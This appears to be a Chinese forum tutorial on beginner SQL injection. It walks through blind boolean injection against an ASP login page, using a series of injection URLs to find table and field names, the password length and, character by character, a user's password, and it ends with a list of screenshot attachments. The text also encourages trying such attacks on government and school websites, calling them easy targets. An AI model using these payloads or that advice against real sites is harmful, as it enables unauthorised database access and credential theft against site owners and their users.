| SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 黑客新手常用的sql注入就是使用一些注入工具,比如:啊D,明小子一些的简单sql注入工具。现在的网站能够用sql注入的漏洞已经很少了,一般政府和学校的网站漏洞比较多,可以作为肉鸡试一试。 下面讲一下早些年的sql简单方法: 首先我们在一个具备sql注入漏洞的网站开始实战测试(实验网站已经通知修复) 前提准备: 肉鸡网站: http://172.18.3.13:81/login.asp?name 用户名:admin 密码:admin 所需sql注入语句: 1.判断有无注入点 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(password)>11) 正确 6.猜解字符 开始sql入侵: 在正常用户名admin后增加一个单引号,单击"登录" 登录出错 3.SQL注入攻击 构造可以正常运行的目标地址 输入 http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1 4. 猜解数据库表名 http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (select count(*) from data)>0 and 'a'='a http://172.18.3.13:81/login.asp?pass=admin&name=admi n'and (select count(uname) from data)>0 and 'a'='a 说明数据库中密码字段为upass 6.猜解密码长度 已知有一用户名为"wucm",首先猜其密码长度大于1 http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a 7.猜解密码 根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测: 首先测试第一位是否为数字 http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a 同理对6位密码逐位进行猜测,最后得到密码为"wcm987" 至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试: |
-
76d6e7db6a9c2f78bfd762160b08ac95.jpg (51.41 KB, 下载次数: 47)

-
4773735f9deb76f05b8999dcdd2af7e4.jpg (37.54 KB, 下载次数: 51)

-
9921e5e152ecb621830597471226f19d.jpg (38.36 KB, 下载次数: 42)

-
69e203f20ab425e66aa8d501e3edbef3.jpg (39.5 KB, 下载次数: 49)

-
a6007998e3a60c80bf3d7499156857e9.jpg (39.01 KB, 下载次数: 41)

-
143bb4eb673d0d767d265efd92b049eb.jpg (34.44 KB, 下载次数: 45)

-
b5ff46b394133fa4d7b5322438377127.jpg (38.3 KB, 下载次数: 51)

-
ae98c9803c46517ba51421ad7900e09c.jpg (38.74 KB, 下载次数: 50)

-
bea2ba4313d9a576e6dcb2cce78b7bc6.jpg (39.15 KB, 下载次数: 52)

-
3b533ec3567661ba592f722285c0d763.jpg (48.1 KB, 下载次数: 50)

-
fbabbd6557aa15eeb601785ae7aefa36.jpg (49.04 KB, 下载次数: 44)

-
37b626b0dea506048c66c4a21a3ddfb3.jpg (37.93 KB, 下载次数: 51)

-
d614cc244097cc47c3f56e80e1ddcf93.jpg (48.85 KB, 下载次数: 48)

-
c36332f3cb18b62e8516dc615c2b2881.jpg (66.89 KB, 下载次数: 43)

-
0094af6e6565a6fc5934497d37586af9.jpg (28.21 KB, 下载次数: 40)

-
53748e07feb9f9bd392317ebc03d837c.jpg (22.49 KB, 下载次数: 51)

-
3a682c6b6f4ed4f7325698d2125cca15.jpg (22.77 KB, 下载次数: 43)

-
5089d155d594e90f82b6fe5e103f8b4c.jpg (29.08 KB, 下载次数: 49)

-
b8f813730cf91f7e670623c87bb5d165.jpg (29.03 KB, 下载次数: 50)

-
20bb66400f083a9a349442c8d24ca841.gif (42.11 KB, 下载次数: 41)


















